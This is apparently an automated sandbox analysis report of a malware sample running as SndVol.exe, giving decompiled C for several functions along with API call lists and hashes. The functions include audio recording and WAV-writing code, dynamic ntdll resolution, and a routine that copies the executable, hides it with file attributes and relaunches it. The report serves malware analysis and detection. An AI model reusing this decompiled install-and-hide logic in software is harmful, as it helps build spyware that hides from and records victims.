                                    0x0041b1da
                                    0x0041b1ed

                                    APIs
                                    • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041B08E
                                    • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041B0A2
                                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,004660A4), ref: 0041B0CA
                                    • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00474EE0,00000000), ref: 0041B0E0
                                    • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041B121
                                    • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041B139
                                    • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041B14E
                                    • SetEvent.KERNEL32 ref: 0041B16B
                                    • WaitForSingleObject.KERNEL32(000001F4), ref: 0041B17C
                                    • CloseHandle.KERNEL32 ref: 0041B18C
                                    • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041B1AE
                                    • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041B1B8
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                                    • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$NG
                                    • API String ID: 738084811-2094122233
                                    • Opcode ID: 6055c158b52169df49d72c214bbbf8ed56c6ea337d43aef7e1a50e53737c09d4
                                    • Instruction ID: 6c1ca992be1c98277aee1d71c386ae6bd03a1b663e3083c945fd709fe89047eb
                                    • Opcode Fuzzy Hash: 6055c158b52169df49d72c214bbbf8ed56c6ea337d43aef7e1a50e53737c09d4
                                    • Instruction Fuzzy Hash: 8751A5B12442056AD314B731DC92EBB779CDB84398F10043FF14A521E2EF788D49CA6E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00401A6D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 92%
                                    			E00401A6D(WCHAR* __ecx, signed int __edx) {
				void _v4;
				void _v8;
				void _v12;
				void _v16;
				void _v20;
				void _v24;
				long _v28;
				signed int _t36;
				void** _t75;
				signed int _t80;
				void* _t81;
				signed int _t83;

				_t75 = __edx;
				_t80 =  *0x472aaa & 0x0000ffff;
				_t83 = ( *0x472ab6 & 0x0000ffff) * _t80;
				_v16 = 1;
				_v20 = 0x10;
				_v12 = _t83 *  *0x472aac >> 3;
				asm("cdq");
				_v8 = _t83 + (__edx & 0x00000007) >> 3;
				_t5 =  &(_t75[1]); // 0x0
				_t36 =  *_t5 * _t80;
				_v4 = _t36;
				_v24 = _t36 + 0x24;
				_t81 = CreateFileW(__ecx, 0x40000000, 0, 0, 2, 0x80, 0);
				if(_t81 != 0xffffffff) {
					_push(0);
					WriteFile(_t81, "RIFF", 0, 4,  &_v28);
					WriteFile(_t81,  &_v24, 0,  &_v28, 0);
					WriteFile(_t81, "WAVE", 0,  &_v28, 0);
					WriteFile(_t81, "fmt ", 0,  &_v28, 0);
					WriteFile(_t81,  &_v20, 0,  &_v28, 0);
					WriteFile(_t81,  &_v16, 2,  &_v28, 0);
					WriteFile(_t81, 0x472aaa, 2,  &_v28, 0);
					WriteFile(_t81, 0x472aac, 0,  &_v28, 0);
					WriteFile(_t81,  &_v12, 0,  &_v28, 0);
					WriteFile(_t81,  &_v8, 2,  &_v28, 0);
					WriteFile(_t81, 0x472ab6, 2,  &_v28, 0);
					WriteFile(_t81, "data", 0,  &_v28, 0);
					WriteFile(_t81,  &_v4, 0,  &_v28, 0);
					_t28 =  &(_t75[1]); // 0x0
					WriteFile(_t81,  *_t75,  *_t28,  &_v28, 0);
					CloseHandle(_t81);
					return 1;
				}
				return 0;
			}















                                    0x00401a7a
                                    0x00401a7d
                                    0x00401a86
                                    0x00401a94
                                    0x00401aaa
                                    0x00401ab5
                                    0x00401abb
                                    0x00401ac4
                                    0x00401ac8
                                    0x00401acb
                                    0x00401ace
                                    0x00401ad5
                                    0x00401adf
                                    0x00401ae4
                                    0x00401af7
                                    0x00401b03
                                    0x00401b13
                                    0x00401b23
                                    0x00401b33
                                    0x00401b43
                                    0x00401b54
                                    0x00401b65
                                    0x00401b75
                                    0x00401b85
                                    0x00401b96
                                    0x00401ba7
                                    0x00401bb7
                                    0x00401bc7
                                    0x00401bd0
                                    0x00401bd6
                                    0x00401bd9
                                    0x00000000
                                    0x00401bdf
                                    0x00000000

                                    APIs
                                    • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                                    • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401B03
                                    • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401B13
                                    • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401B23
                                    • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401B33
                                    • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401B43
                                    • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B54
                                    • WriteFile.KERNEL32(00000000,00472AAA,00000002,00000000,00000000), ref: 00401B65
                                    • WriteFile.KERNEL32(00000000,00472AAC,00000004,00000000,00000000), ref: 00401B75
                                    • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401B85
                                    • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B96
                                    • WriteFile.KERNEL32(00000000,00472AB6,00000002,00000000,00000000), ref: 00401BA7
                                    • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401BB7
                                    • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401BC7
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$Write$Create
                                    • String ID: RIFF$WAVE$data$fmt
                                    • API String ID: 1602526932-4212202414
                                    • Opcode ID: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                                    • Instruction ID: 2ec91bc18be8700290cedec85ec8f66933089e8d2246bcc6fed4c3761e19f715
                                    • Opcode Fuzzy Hash: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                                    • Instruction Fuzzy Hash: EB414E72644308BAE210DA51DD86FBB7EECEB89B50F40441AF644D60C0D7A4E909DBB3
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00407270 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E00407270() {
				_Unknown_base(*)()* _t4;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t9;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t13;
				_Unknown_base(*)()* _t15;
				WCHAR* _t17;

				_t17 = L"ntdll.dll";
				_t4 = GetProcAddress(GetModuleHandleW(_t17), "RtlInitUnicodeString");
				 *0x472afc = _t4;
				if(_t4 != 0) {
					_t6 = GetProcAddress(GetModuleHandleW(_t17), "NtAllocateVirtualMemory");
					 *0x472b00 = _t6;
					if(_t6 == 0) {
						goto L1;
					}
					_t9 = GetProcAddress(GetModuleHandleW(_t17), "NtFreeVirtualMemory");
					 *0x472b0c = _t9;
					if(_t9 == 0) {
						goto L1;
					}
					_t11 = GetProcAddress(GetModuleHandleW(_t17), "RtlAcquirePebLock");
					 *0x472b04 = _t11;
					if(_t11 == 0) {
						goto L1;
					}
					_t13 = GetProcAddress(GetModuleHandleW(_t17), "RtlReleasePebLock");
					 *0x472b10 = _t13;
					if(_t13 == 0) {
						goto L1;
					}
					_t15 = GetProcAddress(GetModuleHandleW(_t17), "LdrEnumerateLoadedModules");
					 *0x472af8 = _t15;
					return 0 | _t15 != 0x00000000;
				}
				L1:
				return 0;
			}










                                    0x00407278
                                    0x0040728d
                                    0x0040728f
                                    0x00407296
                                    0x004072a5
                                    0x004072a7
                                    0x004072ae
                                    0x00000000
                                    0x00000000
                                    0x004072b9
                                    0x004072bb
                                    0x004072c2
                                    0x00000000
                                    0x00000000
                                    0x004072cd
                                    0x004072cf
                                    0x004072d6
                                    0x00000000
                                    0x00000000
                                    0x004072e1
                                    0x004072e3
                                    0x004072ea
                                    0x00000000
                                    0x00000000
                                    0x004072f5
                                    0x004072f9
                                    0x00000000
                                    0x00407303
                                    0x00407298
                                    0x00000000

                                    APIs
                                    • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Windows\SysWOW64\SndVol.exe,00000001,0040764D,C:\Windows\SysWOW64\SndVol.exe,00000003,00407675,004752D8,004076CE), ref: 00407284
                                    • GetProcAddress.KERNEL32(00000000), ref: 0040728D
                                    • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 004072A2
                                    • GetProcAddress.KERNEL32(00000000), ref: 004072A5
                                    • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 004072B6
                                    • GetProcAddress.KERNEL32(00000000), ref: 004072B9
                                    • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 004072CA
                                    • GetProcAddress.KERNEL32(00000000), ref: 004072CD
                                    • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 004072DE
                                    • GetProcAddress.KERNEL32(00000000), ref: 004072E1
                                    • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 004072F2
                                    • GetProcAddress.KERNEL32(00000000), ref: 004072F5
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AddressHandleModuleProc
                                    • String ID: C:\Windows\SysWOW64\SndVol.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                                    • API String ID: 1646373207-2877372328
                                    • Opcode ID: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                                    • Instruction ID: f839149ce94c73eee9bda0254407c114f4740b95dc73f4bc012c28e2a4ae17e7
                                    • Opcode Fuzzy Hash: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                                    • Instruction Fuzzy Hash: 520171E0E4431676DB216F3A6C54D4B6F9C9E5125131A087BB409E2292FEBCE800CE6D
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040CD47 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 203fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 92%
                                    			E0040CD47(char __ecx, void* __edx, void* __eflags, WCHAR* _a4, char _a8, char _a12) {
				char _v24;
				char _v28;
				void* _v32;
				char _v48;
				char _v49;
				char _v52;
				void* _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t22;
				void* _t23;
				WCHAR* _t28;
				int _t29;
				void* _t35;
				WCHAR* _t43;
				int _t45;
				int _t48;
				WCHAR* _t54;
				int _t55;
				void* _t70;
				void* _t130;
				void* _t131;
				void* _t135;

				_t135 =  &_v56;
				_t130 = __edx;
				_v49 = __ecx;
				_t22 = E0043BA26(__edx);
				_t139 = _t22;
				if(_t22 == 0) {
					_t73 = _a4;
					_t125 = _v49;
					_t23 = E0040D982( &_v24, _v49, _a4);
					_t131 = 0x4752d8;
					E00401F13(0x4752d8, _v49, 0x4752d8, _t23);
				} else {
					CreateDirectoryW(E00401F04(0x475308), 0);
					_t73 = _a4;
					_t125 = E0040915B( &_v24, 0x475308, 0x475308, "\\");
					_t70 = E00403014(_a4,  &_v48, _t69, _t130, 0x475308, _t139, _t73);
					_t131 = 0x4752d8;
					E00401F13(0x4752d8, _t69, 0x4752d8, _t70);
					E00401F09();
				}
				E00401F09();
				if(E0043F8A4(E00401F04(_t131), 0x472b38, _t26) != 0) {
					_t28 = E00401F04(_t131);
					_t134 = CopyFileW;
					_t29 = CopyFileW(0x472b38, _t28, 0);
					__eflags = _t29;
					if(_t29 != 0) {
						L14:
						_push(E00401F04(0x4752c0));
						E0040CC5B(0x4752c0);
						__eflags = _a8 - 1;
						if(_a8 == 1) {
							_t43 = E00401F04(_t131);
							_t73 = SetFileAttributesW;
							SetFileAttributesW(_t43, 7);
							_t45 = E0043BA26(_t130);
							__eflags = _t45;
							if(_t45 != 0) {
								SetFileAttributesW(E00401F04(0x475308), 7);
							}
						}
						__eflags = _a12;
						if(_a12 != 0) {
							E0040417E(_t73, _t135 - 0x1c, _t125, _t134, "C:\Windows\SysWOW64\SndVol.exe");
							_push(L"del");
							E00413762(0x80000001, E00401F04(E0041BBB0( &_v28, 0x4752f0)));
							E00401F09();
						}
						CloseHandle( *0x472d44);
						_t35 = ShellExecuteW(0, L"open", E00401F04(_t131), 0x466468, 0x466468, 1);
						__eflags = _t35 - 0x20;
						if(_t35 > 0x20) {
							ExitProcess(0);
						} else {
							E0040CFB7();
							L13:
							return 0;
						}
					}
					__eflags = _v49 - 0x36;
					if(_v49 == 0x36) {
						goto L14;
					}
					_t48 = E0043BA26(_t130);
					_t125 = 0x36;
					__eflags = _t48;
					if(_t48 == 0) {
						E00401F13(_t131, 0x36, _t131, E0040D982( &_v24, 0x36, _t73));
					} else {
						E00401F13(0x475308, 0x36, _t131, E0040D982( &_v24, 0x36, _t130));
						E00401F09();
						_t125 = E0040915B( &_v52, 0x475308, CopyFileW, "\\");
						E00401F13(_t131, _t60, _t131, E00403014(_t73,  &_v28, _t60, _t130, CopyFileW, __eflags, _t73));
						E00401F09();
					}
					E00401F09();
					CreateDirectoryW(E00401F04(0x475308), 0);
					_t54 = E00401F04(_t131);
					_t73 = 0x472b38;
					_t55 = CopyFileW(0x472b38, _t54, 0);
					__eflags = _t55;
					if(_t55 != 0) {
						goto L14;
					} else {
						L00409057(0x472b38, _t131, _t125, 0x472b38);
						goto L13;
					}
				} else {
					_push(E00401F04(0x4752c0));
					E0040CC5B(0x4752c0);
					return 1;
				}
			}




























                                    0x0040cd47
                                    0x0040cd4e
                                    0x0040cd50
                                    0x0040cd55
                                    0x0040cd60
                                    0x0040cd62
                                    0x0040cdae
                                    0x0040cdb6
                                    0x0040cdbb
                                    0x0040cdc1
                                    0x0040cdc9
                                    0x0040cd64
                                    0x0040cd6e
                                    0x0040cd74
                                    0x0040cd8a
                                    0x0040cd90
                                    0x0040cd96
                                    0x0040cd9e
                                    0x0040cda7
                                    0x0040cda7
                                    0x0040cdd2
                                    0x0040cdee
                                    0x0040ce11
                                    0x0040ce18
                                    0x0040ce1e
                                    0x0040ce20
                                    0x0040ce22
                                    0x0040cee7
                                    0x0040cef1
                                    0x0040cef3
                                    0x0040cef8
                                    0x0040ceff
                                    0x0040cf05
                                    0x0040cf0a
                                    0x0040cf11
                                    0x0040cf14
                                    0x0040cf1a
                                    0x0040cf1c
                                    0x0040cf2b
                                    0x0040cf2b
                                    0x0040cf1c
                                    0x0040cf2d
                                    0x0040cf32
                                    0x0040cf3e
                                    0x0040cf43
                                    0x0040cf64
                                    0x0040cf70
                                    0x0040cf70
                                    0x0040cf7b
                                    0x0040cf99
                                    0x0040cf9f
                                    0x0040cfa2
                                    0x0040cfb0
                                    0x0040cfa4
                                    0x0040cfa4
                                    0x0040cee0
                                    0x00000000
                                    0x0040cee0
                                    0x0040cfa2
                                    0x0040ce28
                                    0x0040ce2d
                                    0x00000000
                                    0x00000000
                                    0x0040ce34
                                    0x0040ce39
                                    0x0040ce40
                                    0x0040ce42
                                    0x0040cea1
                                    0x0040ce44
                                    0x0040ce51
                                    0x0040ce5a
                                    0x0040ce74
                                    0x0040ce83
                                    0x0040ce8c
                                    0x0040ce91
                                    0x0040ceaa
                                    0x0040cebc
                                    0x0040cec6
                                    0x0040cecc
                                    0x0040ced2
                                    0x0040ced4
                                    0x0040ced6
                                    0x00000000
                                    0x0040ced8
                                    0x0040cedb
                                    0x00000000
                                    0x0040cedb
                                    0x0040cdf0
                                    0x0040cdfa
                                    0x0040cdfc
                                    0x00000000
                                    0x0040ce03

                                    APIs
                                    • _wcslen.LIBCMT ref: 0040CD55
                                    • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040CD6E
                                    • CopyFileW.KERNEL32(C:\Windows\SysWOW64\SndVol.exe,00000000,00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe), ref: 0040CE1E
                                    • _wcslen.LIBCMT ref: 0040CE34
                                    • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040CEBC
                                    • CopyFileW.KERNEL32(C:\Windows\SysWOW64\SndVol.exe,00000000,00000000), ref: 0040CED2
                                    • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CF11
                                    • _wcslen.LIBCMT ref: 0040CF14
                                    • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CF2B
                                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004750E4,0000000E), ref: 0040CF7B
                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000001), ref: 0040CF99
                                    • ExitProcess.KERNEL32 ref: 0040CFB0
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
                                    • String ID: 6$C:\Windows\SysWOW64\SndVol.exe$del$open
                                    • API String ID: 1579085052-1404393845
                                    • Opcode ID: 1e48766d66afb97eb2409975baf991447fddbaf9e1d1f08f08f3fbc7392b9c18
                                    • Instruction ID: 3cd75a5655d106e2776ae478abdf89a089cea46687089c05d4bdf75d0799abfd
                                    • Opcode Fuzzy Hash: 1e48766d66afb97eb2409975baf991447fddbaf9e1d1f08f08f3fbc7392b9c18
                                    • Instruction Fuzzy Hash: 0B51E860208301ABD609B725DC92E7F679D9F84719F10443FF609AA2E3EF7C9D04866E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041BF6D Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 68%
                                    			E0041BF6D(WCHAR* __ecx) {
				intOrPtr _t51;
				void* _t53;
				void* _t54;
				long _t60;
				short _t64;
				void* _t67;
				void* _t74;
				void* _t79;
				signed int _t81;
				WCHAR* _t84;
				long _t85;
				signed int _t86;
				signed int _t87;
				void* _t88;
				void* _t89;

				_t84 = __ecx;
				 *((intOrPtr*)(_t88 + 0x14)) = 0x105;
				_t85 = 0;
				_t81 = 0;
				_t86 = 0;
				if(lstrlenW(__ecx) <= 0) {
					L7:
					_t84[_t81] = 0;
					E00436860(_t88 + 0x634, _t84, 2 + _t81 * 2);
					_t89 = _t88 + 0xc;
					_t51 = _t89 + 0x18;
					__imp__FindFirstVolumeW(_t51, 0x104);
					 *((intOrPtr*)(_t89 + 0x10)) = _t51;
					if(_t51 != 0xffffffff) {
						while(1) {
							_t53 = E0043BA26(_t89 + 0x18);
							_t29 = _t53 - 1; // -1
							_t87 = _t29;
							_t54 = 0x5c;
							if( *((intOrPtr*)(_t89 + 0x18)) != _t54) {
								break;
							}
							if( *((intOrPtr*)(_t89 + 0x1a)) != _t54 ||  *((short*)(_t89 + 0x1c)) != 0x3f ||  *((intOrPtr*)(_t89 + 0x1e)) != _t54 ||  *((intOrPtr*)(_t89 + 0x18 + _t87 * 2)) != _t54) {
								break;
							} else {
								 *((short*)(_t89 + 0x18 + _t87 * 2)) = 0;
								_t60 = QueryDosDeviceW(_t89 + 0x28, _t89 + 0x428, 0x64);
								 *(_t89 + 0x14) = _t60;
								if(_t60 == 0) {
									L24:
									_t85 = GetLastError();
									L18:
									__imp__FindVolumeClose( *((intOrPtr*)(_t89 + 0x10)));
									return 0 | _t85 == 0x00000000;
								}
								if(lstrcmpW(_t89 + 0x42c, _t84) == 0) {
									_t64 = 0x5c;
									 *((short*)(_t89 + 0x18 + _t87 * 2)) = _t64;
									_t67 = _t89 + 0x24;
									__imp__GetVolumePathNamesForVolumeNameW(_t67, _t89 + 0x228,  *((intOrPtr*)(_t89 + 0x18)), _t89 + 0x14);
									if(_t67 == 0) {
										goto L24;
									}
									lstrcatW(_t89 + 0x224,  &(( &(_t84[1]))[_t81]));
									lstrcpyW(_t84, _t89 + 0x220);
									goto L18;
								}
								_t74 = _t89 + 0x1c;
								__imp__FindNextVolumeW( *((intOrPtr*)(_t89 + 0x18)), _t74, 0x104);
								if(_t74 == 0) {
									_t85 = GetLastError();
									if(_t85 != 0x12) {
										goto L18;
									}
									break;
								}
								continue;
							}
						}
						_t85 = 0xa1;
						goto L18;
					}
					GetLastError();
					return 0;
				}
				_t78 = _t84;
				 *(_t88 + 0x10) = _t84;
				while(1) {
					_t79 = E00436F3A(_t78, "\\", 2);
					_t88 = _t88 + 0xc;
					if(_t79 != 0) {
						goto L4;
					}
					_t81 = _t81 + 1;
					if(_t81 == 3) {
						_t81 = _t86;
						goto L7;
					}
					L4:
					 *(_t88 + 0x10) =  &(( *(_t88 + 0x10))[1]);
					_t86 = _t86 + 1;
					if(_t86 >= lstrlenW(_t84)) {
						goto L7;
					}
					_t78 =  *(_t88 + 0x10);
				}
			}


















                                    0x0041bf77
                                    0x0041bf79
                                    0x0041bf81
                                    0x0041bf84
                                    0x0041bf86
                                    0x0041bf90
                                    0x0041bfcb
                                    0x0041bfcd
                                    0x0041bfe2
                                    0x0041bfe7
                                    0x0041bfea
                                    0x0041bff4
                                    0x0041bffa
                                    0x0041c001
                                    0x0041c088
                                    0x0041c08d
                                    0x0041c095
                                    0x0041c095
                                    0x0041c098
                                    0x0041c09e
                                    0x00000000
                                    0x00000000
                                    0x0041c019
                                    0x00000000
                                    0x0041c035
                                    0x0041c037
                                    0x0041c04b
                                    0x0041c051
                                    0x0041c057
                                    0x0041c122
                                    0x0041c128
                                    0x0041c0a9
                                    0x0041c0ad
                                    0x00000000
                                    0x0041c0b7
                                    0x0041c06e
                                    0x0041c0d6
                                    0x0041c0d7
                                    0x0041c0ed
                                    0x0041c0f2
                                    0x0041c0fa
                                    0x00000000
                                    0x00000000
                                    0x0041c10b
                                    0x0041c11a
                                    0x00000000
                                    0x0041c11a
                                    0x0041c075
                                    0x0041c07e
                                    0x0041c086
                                    0x0041c0cb
                                    0x0041c0d0
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0041c0d2
                                    0x00000000
                                    0x0041c086
                                    0x0041c019
                                    0x0041c0a4
                                    0x00000000
                                    0x0041c0a4
                                    0x0041c007
                                    0x00000000
                                    0x0041c00d
                                    0x0041bf92
                                    0x0041bf94
                                    0x0041bf98
                                    0x0041bfa0
                                    0x0041bfa5
                                    0x0041bfaa
                                    0x00000000
                                    0x00000000
                                    0x0041bfac
                                    0x0041bfb0
                                    0x0041bfc9
                                    0x00000000
                                    0x0041bfc9
                                    0x0041bfb2
                                    0x0041bfb2
                                    0x0041bfb7
                                    0x0041bfc1
                                    0x00000000
                                    0x00000000
                                    0x0041bfc3
                                    0x0041bfc3

                                    APIs
                                    • lstrlenW.KERNEL32(?), ref: 0041BF88
                                    • _memcmp.LIBVCRUNTIME ref: 0041BFA0
                                    • lstrlenW.KERNEL32(?), ref: 0041BFB9
                                    • FindFirstVolumeW.KERNEL32(?,00000104,?), ref: 0041BFF4
                                    • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041C007
                                    • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041C04B
                                    • lstrcmpW.KERNEL32(?,?), ref: 0041C066
                                    • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041C07E
                                    • _wcslen.LIBCMT ref: 0041C08D
                                    • FindVolumeClose.KERNEL32(?), ref: 0041C0AD
                                    • GetLastError.KERNEL32 ref: 0041C0C5
                                    • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041C0F2
                                    • lstrcatW.KERNEL32(?,?), ref: 0041C10B
                                    • lstrcpyW.KERNEL32 ref: 0041C11A
                                    • GetLastError.KERNEL32 ref: 0041C122
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                                    • String ID: ?
                                    • API String ID: 3941738427-1684325040
                                    • Opcode ID: a2f8d8343b55d54266fba562348c1e218e1757df8bc4f382a73062c3df2e6073
                                    • Instruction ID: dafa883b625385c18dab98a73a8b6ff9ed0786bcd0e53f9c555650d584cdd824
                                    • Opcode Fuzzy Hash: a2f8d8343b55d54266fba562348c1e218e1757df8bc4f382a73062c3df2e6073
                                    • Instruction Fuzzy Hash: 1C416075544306EBD720DFA0DC88ADB7BECEF48315F10092AF545C2161EB78C989CB9A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0044F37E Relevance: 25.9, APIs: 17, Instructions: 419COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 87%
                                    			E0044F37E(signed int _a4, signed int _a8) {
				signed int _v0;
				signed char _v5;
				intOrPtr _v8;
				signed char _v9;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v44;
				signed int _v92;
				signed int _v128;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t116;
				signed int _t119;
				signed int _t120;
				signed int _t122;
				signed int _t123;
				signed int _t126;
				signed int _t127;
				signed int _t131;
				signed int _t133;
				signed int _t136;
				signed int _t138;
				signed int _t139;
				signed int _t142;
				void* _t143;
				signed int _t148;
				signed int* _t150;
				signed int* _t156;
				signed int _t163;
				signed int _t165;
				signed int _t167;
				intOrPtr _t168;
				signed int _t173;
				signed int _t175;
				signed int _t176;
				signed int _t180;
				signed int _t185;
				intOrPtr* _t186;
				signed int _t191;
				signed int _t196;
				signed int _t197;
				signed int _t204;
				intOrPtr* _t205;
				signed int _t214;
				signed int _t215;
				signed int _t217;
				signed int _t218;
				signed int _t220;
				signed int _t221;
				signed int _t223;
				intOrPtr _t225;
				void* _t231;
				signed int _t233;
				void* _t236;
				signed int _t237;
				signed int _t238;
				void* _t241;
				signed int _t244;
				signed int _t246;
				void* _t252;
				signed int _t253;
				signed int _t254;
				void* _t260;
				void* _t262;
				signed int _t263;
				intOrPtr* _t267;
				intOrPtr* _t271;
				signed int _t274;
				signed int _t276;
				signed int _t280;
				signed int _t282;
				void* _t283;
				void* _t284;
				void* _t285;
				signed int _t286;
				signed int _t288;
				signed int _t290;
				signed int _t291;
				signed int* _t292;
				signed int _t298;
				signed int _t299;
				CHAR* _t300;
				signed int _t302;
				signed int _t303;
				WCHAR* _t304;
				signed int _t305;
				signed int _t306;
				signed int* _t307;
				signed int _t308;
				signed int _t310;
				void* _t316;
				void* _t317;
				void* _t318;
				void* _t320;
				void* _t321;
				void* _t322;
				void* _t323;

				_t217 = _a4;
				if(_t217 != 0) {
					_t286 = _t217;
					_t116 = E00438830(_t217, 0x3d);
					_v16 = _t116;
					_t231 = _t285;
					__eflags = _t116;
					if(_t116 == 0) {
						L10:
						 *((intOrPtr*)(E0044052D())) = 0x16;
						goto L11;
					} else {
						__eflags = _t116 - _t217;
						if(_t116 == _t217) {
							goto L10;
						} else {
							__eflags =  *((char*)(_t116 + 1));
							_t298 =  *0x4724e0; // 0x7bc900
							_t120 = _t116 & 0xffffff00 |  *((char*)(_t116 + 1)) == 0x00000000;
							_v5 = _t120;
							__eflags = _t298 -  *0x4724ec; // 0x7bc900
							if(__eflags == 0) {
								L87();
								_t298 = _t120;
								_t120 = _v5;
								_t231 = _t298;
								 *0x4724e0 = _t298;
							}
							_t218 = 0;
							__eflags = _t298;
							if(_t298 != 0) {
								L21:
								_t233 = _t286;
								_t122 = _v16 - _t233;
								_push(_t122);
								_push(_t233);
								L121();
								_v12 = _t122;
								__eflags = _t122;
								if(_t122 < 0) {
									L29:
									__eflags = _v5 - _t218;
									if(_v5 != _t218) {
										goto L12;
									} else {
										_t123 =  ~_t122;
										_v12 = _t123;
										_t27 = _t123 + 2; // 0x2
										_t236 = _t27;
										__eflags = _t236 - _t123;
										if(_t236 < _t123) {
											goto L11;
										} else {
											__eflags = _t236 - 0x3fffffff;
											if(_t236 >= 0x3fffffff) {
												goto L11;
											} else {
												_push(4);
												_push(_t236);
